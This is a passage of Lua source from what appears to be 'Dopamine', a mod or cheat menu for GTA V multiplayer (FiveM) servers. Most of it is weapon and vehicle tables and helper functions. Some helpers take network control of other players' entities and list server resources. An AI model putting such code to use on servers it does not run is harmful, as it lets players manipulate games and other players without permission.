'COMPONENT_AT_MRFL_BARREL_02' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP' }, { name = '~s~~s~Flat Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_01' }, { name = '~s~~s~Tactical Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_02' }, { name = '~s~~s~Fat-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_03' }, { name = '~s~~s~Precision Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_04' }, { name = '~s~~s~Heavy Duty Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_05' }, { name = '~s~~s~Slanted Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_06' }, { name = '~s~~s~Split-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_07' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP_02' } } } } }, Heavy = { RPG = { id = 'weapon_rpg', name = '~s~~s~RPG', bInfAmmo = false, mods = {} }, GrenadeLauncher = { id = 'weapon_grenadelauncher', name = '~s~~s~Grenade Launcher', bInfAmmo = false, mods = {} }, GrenadeLauncherSmoke = { id = 'weapon_grenadelauncher_smoke', name = '~s~~s~Grenade Launcher Smoke', bInfAmmo = false, mods = {} }, Minigun = { id = 'weapon_minigun', name = '~s~~s~Minigun', bInfAmmo = false, mods = {} }, FireworkLauncher = { id = 'weapon_firework', name = '~s~~s~Firework Launcher', bInfAmmo = false, mods = {} }, Railgun = { id = 'weapon_railgun', name = '~s~~s~Railgun', bInfAmmo = false, mods = {} }, HomingLauncher = { id = 'weapon_hominglauncher', name = '~s~~s~Homing Launcher', bInfAmmo = false, mods = {} }, CompactGrenadeLauncher = { id = 'weapon_compactlauncher', name = '~s~~s~Compact Grenade Launcher', bInfAmmo = false, mods = {} }, Widowmaker = { id = 'weapon_rayminigun', name = '~s~~s~Widowmaker', bInfAmmo = false, mods = {} } }, Throwables = { Grenade = { id = 'weapon_grenade', name = '~s~~s~Grenade', bInfAmmo = false, mods = {} }, BZGas = { id = 'weapon_bzgas', name = '~s~~s~BZ Gas', bInfAmmo = false, mods = {} }, MolotovCocktail = { id = 'weapon_molotov', name = '~s~~s~Molotov Cocktail', bInfAmmo = false, mods = {} }, StickyBomb = { id = 'weapon_stickybomb', name = '~s~~s~Sticky Bomb', bInfAmmo = false, mods = {} }, ProximityMines = { id = 'weapon_proxmine', name = '~s~~s~Proximity Mines', bInfAmmo = false, mods = {} }, Snowballs = { id = 'weapon_snowball', name = '~s~~s~Snowballs', bInfAmmo = false, mods = {} }, PipeBombs = { id = 'weapon_pipebomb', name = '~s~~s~Pipe Bombs', bInfAmmo = false, mods = {} }, Baseball = { id = 'weapon_ball', name = '~s~~s~Baseball', bInfAmmo = false, mods = {} }, TearGas = { id = 'weapon_smokegrenade', name = '~s~~s~Tear Gas', bInfAmmo = false, mods = {} }, Flare = { id = 'weapon_flare', name = '~s~~s~Flare', bInfAmmo = false, mods = {} } }, Misc = { Parachute = { id = 'gadget_parachute', name = '~s~~s~Parachute', bInfAmmo = false, mods = {} }, FireExtinguisher = { id = 'weapon_fireextinguisher', name = '~s~~s~Fire Extinguisher', bInfAmmo = false, mods = {} } } }
  464. Dopamine.trashTables.weaponsModels = { --[[Melee]] 'WEAPON_KNIFE', 'WEAPON_KNUCKLE', 'WEAPON_NIGHTSTICK', 'WEAPON_HAMMER', 'WEAPON_BAT', 'WEAPON_GOLFCLUB', 'WEAPON_CROWBAR', 'WEAPON_BOTTLE', 'WEAPON_DAGGER', 'WEAPON_HATCHET', 'WEAPON_MACHETE', 'WEAPON_FLASHLIGHT', 'WEAPON_SWITCHBLADE', 'WEAPON_POOLCUE', 'WEAPON_PIPEWRENCH', --[[Pistols]] 'WEAPON_PISTOL', 'WEAPON_PISTOL_MK2', 'WEAPON_COMBATPISTOL', 'WEAPON_APPISTOL', 'WEAPON_REVOLVER', 'WEAPON_REVOLVER_MK2', 'WEAPON_DOUBLEACTION', 'WEAPON_PISTOL50', 'WEAPON_SNSPISTOL', 'WEAPON_SNSPISTOL_MK2', 'WEAPON_HEAVYPISTOL', 'WEAPON_VINTAGEPISTOL', 'WEAPON_STUNGUN', 'WEAPON_FLAREGUN', 'WEAPON_MARKSMANPISTOL', --[[ SMGs / MGs]] 'WEAPON_MICROSMG', 'WEAPON_MINISMG', 'WEAPON_SMG', 'WEAPON_SMG_MK2', 'WEAPON_ASSAULTSMG', 'WEAPON_COMBATPDW', 'WEAPON_GUSENBERG', 'WEAPON_MACHINEPISTOL', 'WEAPON_MG', 'WEAPON_COMBATMG', 'WEAPON_COMBATMG_MK2', --[[ Assault Rifles]] 'WEAPON_ASSAULTRIFLE', 'WEAPON_ASSAULTRIFLE_MK2', 'WEAPON_CARBINERIFLE', 'WEAPON_CARBINERIFLE_MK2', 'WEAPON_ADVANCEDRIFLE', 'WEAPON_SPECIALCARBINE', 'WEAPON_SPECIALCARBINE_MK2', 'WEAPON_BULLPUPRIFLE', 'WEAPON_BULLPUPRIFLE_MK2', 'WEAPON_COMPACTRIFLE', --[[Shotguns]] 'WEAPON_PUMPSHOTGUN', 'WEAPON_PUMPSHOTGUN_MK2', 'WEAPON_SWEEPERSHOTGUN', 'WEAPON_SAWNOFFSHOTGUN', 'WEAPON_BULLPUPSHOTGUN', 'WEAPON_ASSAULTSHOTGUN', 'WEAPON_MUSKET', 'WEAPON_HEAVYSHOTGUN', 'WEAPON_DBSHOTGUN', --[[Sniper Rifles]] 'WEAPON_SNIPERRIFLE', 'WEAPON_HEAVYSNIPER', 'WEAPON_HEAVYSNIPER_MK2', 'WEAPON_MARKSMANRIFLE', 'WEAPON_MARKSMANRIFLE_MK2', --[[Heavy Weapons]] 'WEAPON_GRENADELAUNCHER', 'WEAPON_GRENADELAUNCHER_SMOKE', 'WEAPON_RPG', 'WEAPON_MINIGUN', 'WEAPON_FIREWORK', 'WEAPON_RAILGUN', 'WEAPON_HOMINGLAUNCHER', 'WEAPON_COMPACTLAUNCHER', --[[Thrown]] 'WEAPON_GRENADE', 'WEAPON_STICKYBOMB', 'WEAPON_PROXMINE', 'WEAPON_BZGAS', 'WEAPON_SMOKEGRENADE', 'WEAPON_MOLOTOV', 'WEAPON_FIREEXTINGUISHER', 'WEAPON_PETROLCAN', 'WEAPON_SNOWBALL', 'WEAPON_FLARE', 'WEAPON_BALL', }
  465. Dopamine.trashTables.vehicleCategories = { 'Addon Cars', 'Boats', 'Commercial', 'Compacts', 'Coupes', 'Cycles', 'Emergency', 'Helictopers', 'Industrial', 'Military', 'Motorcycles', 'Muscle', 'Off-Road', 'Planes', 'SUVs', 'Sedans', 'Service', 'Sports', 'Sports Classic', 'Super', 'Trailer', 'Trains', 'Utility', 'Vans' }
  466. Dopamine.trashTables.vehiclesAddonsList = { '2014rs5', '2016rs7', 'aaq4', 'q820', 'r8v10', 'rs4avant', 'audirs6tk', 'r820', 'rs3', 'rs318', 'sq72016', 'bentayga17', 'contgt13', 'bmci', 'e60', 'm3f80', 'x6m', 'c7', '16challenger', '16chager', '99viper', '95stang', 'mustang19', 'ap2', 'civic', 'tuscani', 'lp670sv', 'gs350', 'lc500', 'rx7tunable', 'amggtr', 'c63s', 'cl65', 'e63amg', 'g65', 'evo10', 'mitsugto', '180sx', '370z', 'gtr', 'evoque', 'subisti08', 'subwrx', 'avalon', 'cam08', 'celisupra', 'gt86', 'supra', 'supra2', 'a80', 'r50' }
  467. Dopamine.trashTables.vehiclesBoatsList = { 'Dinghy', 'Dinghy2', 'Dinghy3', 'Dingh4', 'Jetmax', 'Marquis', 'Seashark', 'Seashark2', 'Seashark3', 'Speeder', 'Speeder2', 'Squalo', 'Submersible', 'Submersible2', 'Suntrap', 'Toro', 'Toro2', 'Tropic', 'Tropic2', 'Tug' }
  468. Dopamine.trashTables.vehiclesTruckList = { 'Benson', 'Biff', 'Cerberus', 'Cerberus2', 'Cerberus3', 'Hauler', 'Hauler2', 'Mule', 'Mule2', 'Mule3', 'Mule4', 'Packer', 'Phantom', 'Phantom2', 'Phantom3', 'Pounder', 'Pounder2', 'Stockade', 'Stockade3', 'Terbyte' }
  469. Dopamine.trashTables.vehiclesCompactsList = { 'Blista', 'Blista2', 'Blista3', 'Brioso', 'Dilettante', 'Dilettante2', 'Issi2', 'Issi3', 'issi4', 'Iss5', 'issi6', 'Panto', 'Prarire', 'Rhapsody' }
  470. Dopamine.trashTables.vehiclesCoupesList = { 'CogCabrio', 'Exemplar', 'F620', 'Felon', 'Felon2', 'Jackal', 'Oracle', 'Oracle2', 'Sentinel', 'Sentinel2', 'Windsor', 'Windsor2', 'Zion', 'Zion2' }
  471. Dopamine.trashTables.vehiclesBicyclesList = { 'Bmx', 'Cruiser', 'Fixter', 'Scorcher', 'Tribike', 'Tribike2', 'tribike3' }
  472. Dopamine.trashTables.vehiclesEmergencyList = { 'ambulance', 'FBI', 'FBI2', 'FireTruk', 'PBus', 'police', 'Police2', 'Police3', 'Police4', 'PoliceOld1', 'PoliceOld2', 'PoliceT', 'Policeb', 'Polmav', 'Pranger', 'Predator', 'Riot', 'Riot2', 'Sheriff', 'Sheriff2' }
  473. Dopamine.trashTables.vehiclesHelicoptersList = { 'Akula', 'Annihilator', 'Buzzard', 'Buzzard2', 'Cargobob', 'Cargobob2', 'Cargobob3', 'Cargobob4', 'Frogger', 'Frogger2', 'Havok', 'Hunter', 'Maverick', 'Savage', 'Seasparrow', 'Skylift', 'Supervolito', 'Supervolito2', 'Swift', 'Swift2', 'Valkyrie', 'Valkyrie2', 'Volatus' }
  474. Dopamine.trashTables.vehiclesIndustrialsList = { 'Bulldozer', 'Cutter', 'Dump', 'Flatbed', 'Guardian', 'Handler', 'Mixer', 'Mixer2', 'Rubble', 'Tiptruck', 'Tiptruck2' }
  475. Dopamine.trashTables.vehiclesMilitaryVehicles = { 'APC', 'Barracks', 'Barracks2', 'Barracks3', 'Barrage', 'Chernobog', 'Crusader', 'Halftrack', 'Khanjali', 'Rhino', 'Scarab', 'Scarab2', 'Scarab3', 'Thruster', 'Trailersmall2' }
  476. Dopamine.trashTables.vehiclesMotorcyclesList = { 'Akuma', 'Avarus', 'Bagger', 'Bati2', 'Bati', 'BF400', 'Blazer4', 'CarbonRS', 'Chimera', 'Cliffhanger', 'Daemon', 'Daemon2', 'Defiler', 'Deathbike', 'Deathbike2', 'Deathbike3', 'Diablous', 'Diablous2', 'Double', 'Enduro', 'esskey', 'Faggio2', 'Faggio3', 'Faggio', 'Fcr2', 'fcr', 'gargoyle', 'hakuchou2', 'hakuchou', 'hexer', 'innovation', 'Lectro', 'Manchez', 'Nemesis', 'Nightblade', 'Oppressor', 'Oppressor2', 'PCJ', 'Ratbike', 'Ruffian', 'Sanchez2', 'Sanchez', 'Sanctus', 'Shotaro', 'Sovereign', 'Thrust', 'Vader', 'Vindicator', 'Vortex', 'Wolfsbane', 'zombiea', 'zombieb' }
  477. Dopamine.trashTables.vehiclesMuscleList = { 'Blade', 'Buccaneer', 'Buccaneer2', 'Chino', 'Chino2', 'clique', 'Deviant', 'Dominator', 'Dominator2', 'Dominator3', 'Dominator4', 'Dominator5', 'Dominator6', 'Dukes', 'Dukes2', 'Ellie', 'Faction', 'faction2', 'faction3', 'Gauntlet', 'Gauntlet2', 'Hermes', 'Hotknife', 'Hustler', 'Impaler', 'Impaler2', 'Impaler3', 'Impaler4', 'Imperator', 'Imperator2', 'Imperator3', 'Lurcher', 'Moonbeam', 'Moonbeam2', 'Nightshade', 'Phoenix', 'Picador', 'RatLoader', 'RatLoader2', 'Ruiner', 'Ruiner2', 'Ruiner3', 'SabreGT', 'SabreGT2', 'Sadler2', 'Slamvan', 'Slamvan2', 'Slamvan3', 'Slamvan4', 'Slamvan5', 'Slamvan6', 'Stalion', 'Stalion2', 'Tampa', 'Tampa3', 'Tulip', 'Vamos,', 'Vigero', 'Virgo', 'Virgo2', 'Virgo3', 'Voodoo', 'Voodoo2', 'Yosemite' }
  478. Dopamine.trashTables.vehiclesOffroadList = { 'BFinjection', 'Bifta', 'Blazer', 'Blazer2', 'Blazer3', 'Blazer5', 'Bohdi', 'Brawler', 'Bruiser', 'Bruiser2', 'Bruiser3', 'Caracara', 'DLoader', 'Dune', 'Dune2', 'Dune3', 'Dune4', 'Dune5', 'Insurgent', 'Insurgent2', 'Insurgent3', 'Kalahari', 'Kamacho', 'LGuard', 'Marshall', 'Mesa', 'Mesa2', 'Mesa3', 'Monster', 'Monster4', 'Monster5', 'Nightshark', 'RancherXL', 'RancherXL2', 'Rebel', 'Rebel2', 'RCBandito', 'Riata', 'Sandking', 'Sandking2', 'Technical', 'Technical2', 'Technical3', 'TrophyTruck', 'TrophyTruck2', 'Freecrawler', 'Menacer' }
  479. Dopamine.trashTables.vehiclesPlanesList = { 'AlphaZ1', 'Avenger', 'Avenger2', 'Besra', 'Blimp', 'blimp2', 'Blimp3', 'Bombushka', 'Cargoplane', 'Cuban800', 'Dodo', 'Duster', 'Howard', 'Hydra', 'Jet', 'Lazer', 'Luxor', 'Luxor2', 'Mammatus', 'Microlight', 'Miljet', 'Mogul', 'Molotok', 'Nimbus', 'Nokota', 'Pyro', 'Rogue', 'Seabreeze', 'Shamal', 'Starling', 'Stunt', 'Titan', 'Tula', 'Velum', 'Velum2', 'Vestra', 'Volatol', 'Striekforce' }
  480. Dopamine.trashTables.vehiclesSuvsList = { 'BJXL', 'Baller', 'Baller2', 'Baller3', 'Baller4', 'Baller5', 'Baller6', 'Cavalcade', 'Cavalcade2', 'Dubsta', 'Dubsta2', 'Dubsta3', 'FQ2', 'Granger', 'Gresley', 'Habanero', 'Huntley', 'Landstalker', 'patriot', 'Patriot2', 'Radi', 'Rocoto', 'Seminole', 'Serrano', 'Toros', 'XLS', 'XLS2' }
  481. Dopamine.trashTables.vehiclesSedansList = { 'Asea', 'Asea2', 'Asterope', 'Cog55', 'Cogg552', 'Cognoscenti', 'Cognoscenti2', 'emperor', 'emperor2', 'emperor3', 'Fugitive', 'Glendale', 'ingot', 'intruder', 'limo2', 'premier', 'primo', 'primo2', 'regina', 'romero', 'stafford', 'Stanier', 'stratum', 'stretch', 'surge', 'tailgater', 'warrener', 'Washington' }
  482. Dopamine.trashTables.vehiclesServicesList = { 'Airbus', 'Brickade', 'Bus', 'Coach', 'Rallytruck', 'Rentalbus', 'taxi', 'Tourbus', 'Trash', 'Trash2', 'WastIndr', 'PBus2' }
  483. Dopamine.trashTables.vehiclesSportsList = { 'Alpha', 'Banshee', 'Banshee2', 'BestiaGTS', 'Buffalo', 'Buffalo2', 'Buffalo3', 'Carbonizzare', 'Comet2', 'Comet3', 'Comet4', 'Comet5', 'Coquette', 'Deveste', 'Elegy2', 'Feltzer2', 'Feltzer3', 'FlashGT', 'Furoregt', 'Fusilade', 'Futo', 'GB200', 'Hotring', 'Infernus2', 'Italigto', 'Jester', 'Jester2', 'Khamelion', 'Kurama', 'Kurama2', 'Lynx', 'MAssacro', 'MAssacro2', 'neon', 'Ninef', 'ninfe2', 'omnis', 'Pariah', 'Penumbra', 'Raiden', 'RapidGT', 'RapidGT2', 'Raptor', 'Revolter', 'Ruston', 'Schafter2', 'Schafter3', 'Schafter4', 'Schafter5', 'Schafter6', 'Schlagen', 'Schwarzer', 'Sentinel3', 'Seven70', 'Specter', 'Specter2', 'Streiter', 'Sultan', 'Surano', 'Tampa2', 'Tropos', 'Verlierer2', 'ZR380' }
  484. Dopamine.trashTables.vehiclesSportsClassicsList = { 'Ardent', 'BType', 'BType2', 'BType3', 'Casco', 'Cheetah2', 'Cheburek', 'Coquette2', 'Coquette3', 'Deluxo', 'Fagaloa', 'Gt500', 'JB700', 'Jester3', 'MAmba', 'Manana', 'Michelli', 'Monroe', 'Peyote', 'Pigalle', 'RapidGT3', 'Retinue', 'Savestra', 'Stinger', 'Stingergt', 'Stromberg', 'Swinger', 'Torero', 'Tornado', 'Tornado2', 'Tornado3', 'Tornado4', 'Tornado5', 'Tornado6', 'Viseris', 'Z190', 'ZType' }
  485. Dopamine.trashTables.vehiclesSupersList = { 'Adder', 'Autarch', 'Bullet', 'Cheetah', 'Cyclone', 'Elegy', 'EntityXF', 'Entity2', 'FMJ', 'GP1', 'Infernus', 'LE7B', 'Nero', 'Nero2', 'Osiris', 'Penetrator', 'PFister811', 'Prototipo', 'Reaper', 'SC1', 'Scramjet', 'Sheava', 'SultanRS', 'Superd', 'T20', 'Taipan', 'Tempesta', 'Tezeract', 'Turismo2', 'Turismor', 'Tyrant', 'Tyrus', 'Vacca', 'Vagner', 'Vigilante', 'Visione', 'Voltic', 'Voltic2', 'Zentorno', 'Italigtb', 'Italigtb2', 'XA21' }
  486. Dopamine.trashTables.vehiclesTrailersList = { 'ArmyTanker', 'ArmyTrailer', 'ArmyTrailer2', 'BaleTrailer', 'BoatTrailer', 'CableCar', 'DockTrailer', 'Graintrailer', 'Proptrailer', 'Raketailer', 'TR2', 'TR3', 'TR4', 'TRFlat', 'TVTrailer', 'Tanker', 'Tanker2', 'Trailerlogs', 'Trailersmall', 'Trailers', 'Trailers2', 'Trailers3' }
  487. Dopamine.trashTables.vehiclesTrainsList = { 'Freight', 'Freightcar', 'Freightcont1', 'Freightcont2', 'Freightgrain', 'Freighttrailer', 'TankerCar' }
  488. Dopamine.trashTables.vehiclesWorkList = { 'Airtug', 'Caddy', 'Caddy2', 'Caddy3', 'Docktug', 'Forklift', 'Mower', 'Ripley', 'Sadler', 'Scrap', 'TowTruck', 'Towtruck2', 'Tractor', 'Tractor2', 'Tractor3', 'TrailerLArge2', 'Utilitruck', 'Utilitruck3', 'Utilitruck2' }
  489. Dopamine.trashTables.vehiclesVansList = { 'Bison', 'Bison2', 'Bison3', 'BobcatXL', 'Boxville', 'Boxville2', 'Boxville3', 'Boxville4', 'Boxville5', 'Burrito', 'Burrito2', 'Burrito3', 'Burrito4', 'Burrito5', 'Camper', 'GBurrito', 'GBurrito2', 'Journey', 'Minivan', 'Minivan2', 'Paradise', 'pony', 'Pony2', 'Rumpo', 'Rumpo2', 'Rumpo3', 'Speedo', 'Speedo2', 'Speedo4', 'Surfer', 'Surfer2', 'Taco', 'Youga', 'youga2' }
  490. Dopamine.trashTables.fullVehiclesList = { Dopamine.trashTables.vehiclesAddonsList, Dopamine.trashTables.vehiclesBoatsList, Dopamine.trashTables.vehiclesTruckList, Dopamine.trashTables.vehiclesCompactsList, Dopamine.trashTables.vehiclesCoupesList, Dopamine.trashTables.vehiclesBicyclesList, Dopamine.trashTables.vehiclesEmergencyList, Dopamine.trashTables.vehiclesHelicoptersList, Dopamine.trashTables.vehiclesIndustrialsList, Dopamine.trashTables.vehiclesMilitaryVehicles, Dopamine.trashTables.vehiclesMotorcyclesList, Dopamine.trashTables.vehiclesMuscleList, Dopamine.trashTables.vehiclesOffroadList, Dopamine.trashTables.vehiclesPlanesList, Dopamine.trashTables.vehiclesSuvsList, Dopamine.trashTables.vehiclesSedansList, Dopamine.trashTables.vehiclesServicesList, Dopamine.trashTables.vehiclesSportsList, Dopamine.trashTables.vehiclesSportsClassicsList, Dopamine.trashTables.vehiclesSupersList, Dopamine.trashTables.vehiclesTrailersList, Dopamine.trashTables.vehiclesTrainsList, Dopamine.trashTables.vehiclesWorkList, Dopamine.trashTables.vehiclesVansList }
  491.  
  492. local oTable = {} do function oTable.insert(t, k, v) if not rawget(t._values, k) then t._keys[#t._keys + 1] = k end if v == nil then oTable.remove(t, k) else t._values[k] = v end end local function find(t, value) for i,v in ipairs(t) do if v == value then return i end end end function oTable.remove(t, k) local v = t._values[k] if v ~= nil then table.remove(t._keys, find(t._keys, k)) t._values[k] = nil end return v end function oTable.index(t, k) return rawget(t._values, k) end function oTable.pairs(t) local i = 0 return function() i = i + 1 local key = t._keys[i] if key ~= nil then return key, t._values[key] end end end function oTable.new(init) init = init or {} local t = {_keys={}, _values={}} local n = #init if n % 2 ~= 0 then error'in oTable initialization: key is missing value' end for i=1,n/2 do local k = init[i * 2 - 1] local v = init[i * 2] if t._values[k] ~= nil then error('duplicate key:'..k) end t._keys[#t._keys + 1] = k t._values[k] = v end return setmetatable(t, {__newindex=oTable.insert, __len=function(t) return #t._keys end, __pairs=oTable.pairs, __index=t._values }) end end
  493.  
  494. local entityEnumerator = { __gc = function(enum) if enum.destructor and enum.handle then enum.destructor(enum.handle) end enum.destructor = nil enum.handle = nil end }
  495.  
  496. Dopamine.trashFunctions.enumEntities = function(initFunc, moveFunc, disposeFunc) return coroutine.wrap(function() local iter, id = initFunc() if not id or id == 0 then disposeFunc(iter) return end local enum = {handle = iter, destructor = disposeFunc} setmetatable(enum, entityEnumerator) local next = true repeat coroutine.yield(id) next, id = moveFunc(iter) until not next enum.destructor, enum.handle = nil, nil disposeFunc(iter) end) end
  497. Dopamine.trashFunctions.enumObjects = function() return Dopamine.trashFunctions.enumEntities(FindFirstObject, FindNextObject, EndFindObject) end
  498. Dopamine.trashFunctions.enumPeds = function() return Dopamine.trashFunctions.enumEntities(FindFirstPed, FindNextPed, EndFindPed) end
  499. Dopamine.trashFunctions.enumVehicles = function() return Dopamine.trashFunctions.enumEntities(FindFirstVehicle, FindNextVehicle, EndFindVehicle) end
  500. Dopamine.trashFunctions.EnumeratePickups = function() return Dopamine.trashFunctions.enumEntities(FindFirstPickup, FindNextPickup, EndFindPickup) end
  501. Dopamine.trashFunctions.reqControlOnce = function(entity) if not NetworkIsInSession() or NetworkHasControlOfEntity(entity) then return true end SetNetworkIdCanMigrate(NetworkGetNetworkIdFromEntity(entity), true) return NetworkRequestControlOfEntity(entity) end
  502. Dopamine.trashFunctions.rotationToDirection = function(rotation) local retz = math.rad(rotation.z) local retx = math.rad(rotation.x) local absx = math.abs(math.cos(retx)) return vector3(-math.sin(retz) * absx, math.cos(retz) * absx, math.sin(retx)) end
  503. Dopamine.trashFunctions.screenToWrld = function(screenCoord) local camRot = GetGameplayCamRot(2) local camPos = GetGameplayCamCoord() local vect2x = 0.0 local vect2y = 0.0 local vect21y = 0.0 local vect21x = 0.0 local direction = Dopamine.trashFunctions.rotationToDirection(camRot) local vect3 = vector3(camRot.x + 10.0, camRot.y + 0.0, camRot.z + 0.0) local vect31 = vector3(camRot.x - 10.0, camRot.y + 0.0, camRot.z + 0.0) local vect32 = vector3(camRot.x, camRot.y + 0.0, camRot.z + -10.0) local direction1 = Dopamine.trashFunctions.rotationToDirection(vector3(camRot.x, camRot.y + 0.0, camRot.z + 10.0)) - Dopamine.trashFunctions.rotationToDirection(vect32) local direction2 = Dopamine.trashFunctions.rotationToDirection(vect3) - Dopamine.trashFunctions.rotationToDirection(vect31) local radians = -(math.rad(camRot.y)) vect33 = (direction1 * math.cos(radians)) - (direction2 * math.sin(radians)) vect34 = (direction1 * math.sin(radians)) - (direction2 * math.cos(radians)) local case1, x1, y1 = Dopamine.trashFunctions.worldToScreenRel(((camPos + (direction * 10.0)) + vect33) + vect34) if not case1 then vect2x = x1 vect2y = y1 return camPos + (direction * 10.0) end local case2, x2, y2 = Dopamine.trashFunctions.worldToScreenRel(camPos + (direction * 10.0)) if not case2 then vect21x = x2 vect21y = y2 return camPos + (direction * 10.0) end if math.abs(vect2x - vect21x) < 0.001 or math.abs(vect2y - vect21y) < 0.001 then return camPos + (direction * 10.0) end local x = (screenCoord.x - vect21x) / (vect2x - vect21x) local y = (screenCoord.y - vect21y) / (vect2y - vect21y) return ((camPos + (direction * 10.0)) + (vect33 * x)) + (vect34 * y) end
  504. Dopamine.trashFunctions.subVectors = function(vect1, vect2) return vector3(vect1.x - vect2.x, vect1.y - vect2.y, vect1.z - vect2.z) end
  505. Dopamine.trashFunctions.GetCamDirFromScreenCenter = function() local pos = GetGameplayCamCoord() local world = Dopamine.trashFunctions.screenToWrld(0, 0) local ret = Dopamine.trashFunctions.subVectors(world, pos) return ret end
  506. Dopamine.trashFunctions.worldToScreenRel = function(worldCoords) local check, x, y = GetScreenCoordFromWorldCoord(worldCoords.x, worldCoords.y, worldCoords.z) if not check then return false end screenCoordsx = (x - 0.5) * 2.0 screenCoordsy = (y - 0.5) * 2.0 return true, screenCoordsx, screenCoordsy end
  507. Dopamine.trashFunctions.returnRGB = function(l) local rgb = {} local n = GetGameTimer() / 200 rgb.r = math.floor(math.sin(n * l + 0) * 127 + 128) rgb.g = math.floor(math.sin(n * l + 2) * 127 + 128) rgb.b = math.floor(math.sin(n * l + 4) * 127 + 128) return rgb end
  508. Dopamine.trashFunctions.weaponNameFromHash = function(hash) for i = 1, #Dopamine.trashTables.weaponsModels do if GetHashKey(Dopamine.trashTables.weaponsModels[i]) == hash then return string.sub(Dopamine.trashTables.weaponsModels[i], 8) end end end
  509. Dopamine.trashFunctions.scaleVector = function(vect, mult) return vector3(vect.x * mult, vect.y * mult, vect.z * mult) end
  510. Dopamine.trashFunctions.addVector = function(vect1, vect2) return vector3(vect1.x + vect2.x, vect1.y + vect2.y, vect1.z + vect2.z) end
  511. Dopamine.trashFunctions.multiplyVector = function(coords, coordz) return vector3(coords.x * coordz, coords.y * coordz, coords.z * coordz) end
  512. Dopamine.trashFunctions.forceOscillate = function(entity, position, angleFreq, dampRatio) local pos1 = Dopamine.trashFunctions.scaleVector(Dopamine.trashFunctions.subVectors(position, GetEntityCoords(entity)), (angleFreq * angleFreq)) local pos2 = Dopamine.trashFunctions.addVector(Dopamine.trashFunctions.scaleVector(GetEntityVelocity(entity), (2.0 * angleFreq * dampRatio)), vector3(0.0, 0.0, 0.1)) local targetPos = Dopamine.trashFunctions.subVectors(pos1, pos2) ApplyForceToEntity(entity, 3, targetPos, 0, 0, 0, false, false, true, true, false, true) end
  513. Dopamine.trashFunctions.getDistance = function(pointA, pointB) local aX = pointA.x local aY = pointA.y local aZ = pointA.z local bX = pointB.x local bY = pointB.y local bZ = pointB.z local xBA = bX - aX local yBA = bY - aY local zBA = bZ - aZ local y2 = yBA * yBA local x2 = xBA * xBA local sum2 = y2 + x2 return math.sqrt(sum2 + zBA) end
  514. Dopamine.trashFunctions.initIntro = function(scaleform, message) local scaleform = RequestScaleformMovie(scaleform) while not HasScaleformMovieLoaded(scaleform) do pWait(1) end PushScaleformMovieFunction(scaleform, 'SHOW_SHARD_WASTED_MP_MESSAGE') PushScaleformMovieFunctionParameterString(message) PopScaleformMovieFunctionVoid() return scaleform end
  515. Dopamine.trashFunctions.math_round = function(num, numDecimalPlaces)
  516. return tonumber(string.format('%.' .. (numDecimalPlaces or 0) .. 'f', num))
  517. end
  518. Dopamine.trashFunctions.table_removekey = function(array, element)
  519. for i = 1, #array do
  520. if array[i] == element then
  521. table.remove(array, i)
  522. end
  523. end
  524. end
  525. Dopamine.trashFunctions.table_includes = function(table, element)
  526. for _, value in pairs(table) do
  527. if value == element then
  528. return true
  529. end
  530. end
  531. return false
  532. end
  533.  
  534. do
  535. local NumberCharset = {}
  536. local Charset = {}
  537. for i = 48, 57 do table.insert(NumberCharset, string.char(i)) end
  538. for i = 65, 90 do table.insert(Charset, string.char(i)) end
  539. for i = 97, 122 do table.insert(Charset, string.char(i)) end
  540. Dopamine.trashFunctions.getRandomNumber = function(length)
  541. pWait(0)
  542. math.randomseed(GetGameTimer())
  543. if length > 0 then
  544. return Dopamine.trashFunctions.getRandomNumber(length - 1) .. NumberCharset[math.random(1, #NumberCharset)]
  545. else
  546. return ''
  547. end
  548. end
  549.  
  550. Dopamine.trashFunctions.getRandomLetter = function(length)
  551. pWait(0)
  552. math.randomseed(GetGameTimer())
  553. if length > 0 then
  554. return Dopamine.trashFunctions.getRandomLetter(length - 1) .. Charset[math.random(1, #Charset)]
  555. else
  556. return ''
  557. end
  558. end
  559. end
  560.  
  561. Dopamine.trashFunctions.keyboardInput = function(TextEntry, ExampleText, MaxStringLength)
  562. Dopamine.natives.addTextEntry('FMMC_KEY_TIP1', TextEntry .. ':')
  563. Dopamine.natives.displayOnscreenKeyboard(1, 'FMMC_KEY_TIP1', '', ExampleText, '', '', '', MaxStringLength)
  564. blockinput = true
  565.  
  566. while Dopamine.natives.updateOnscreenKeyboard() ~= 1 and Dopamine.natives.updateOnscreenKeyboard() ~= 2 do
  567. pWait(0)
  568. end
  569.  
  570. if Dopamine.natives.updateOnscreenKeyboard() ~= 2 then
  571. local result = GetOnscreenKeyboardResult()
  572. pWait(500)
  573. blockinput = false
  574. return result
  575. else
  576. pWait(500)
  577. blockinput = false
  578. return nil
  579. end
  580. end
  581.  
  582. Dopamine.trashFunctions.getPlayerStatus = function(target)
  583. local maxHealth = GetEntityMaxHealth(target)
  584. local currentHealth = GetEntityHealth(target)
  585. if currentHealth >= 1 then
  586. return ' [~g~Alive~m~] [~g~'..currentHealth..'~m~/~g~'..maxHealth..'~m~]'
  587. else
  588. return ' [~r~Dead~m~] [~r~'..currentHealth..'~m~/~r~'..maxHealth..'~m~]'
  589. end
  590. end
  591.  
  592. Dopamine.trashFunctions.getResources = function()
  593. local resources = {}
  594. for i=0, GetNumResources() do
  595. resources[i] = GetResourceByFindIndex(i)
  596. end
  597. return resources
  598. end
  599.  
  600. function Dopamine.debugPrint(text)
  601. if Dopamine.debug then
  602. Citizen.Trace('[d'..'opamine] '..tostring(text)..'.\n')
  603. end
  604. end
  605.  
  606. function Dopamine.setMenuProperty(id, property, value)
  607. if id and Dopamine.menuProps.shitMenus[id] then
  608. Dopamine.menuProps.shitMenus[id][property] = value
  609. Dopamine.debugPrint(id..' menu property changed: { '..tostring(property)..', '..tostring(value)..' }')
  610. end
  611. end
  612.  
  613. function Dopamine.isMenuVisible(id)
  614. if id and Dopamine.menuProps.shitMenus[id] then
  615. return Dopamine.menuProps.shitMenus[id].visible
  616. else
  617. return false
  618. end
  619. end
  620.  
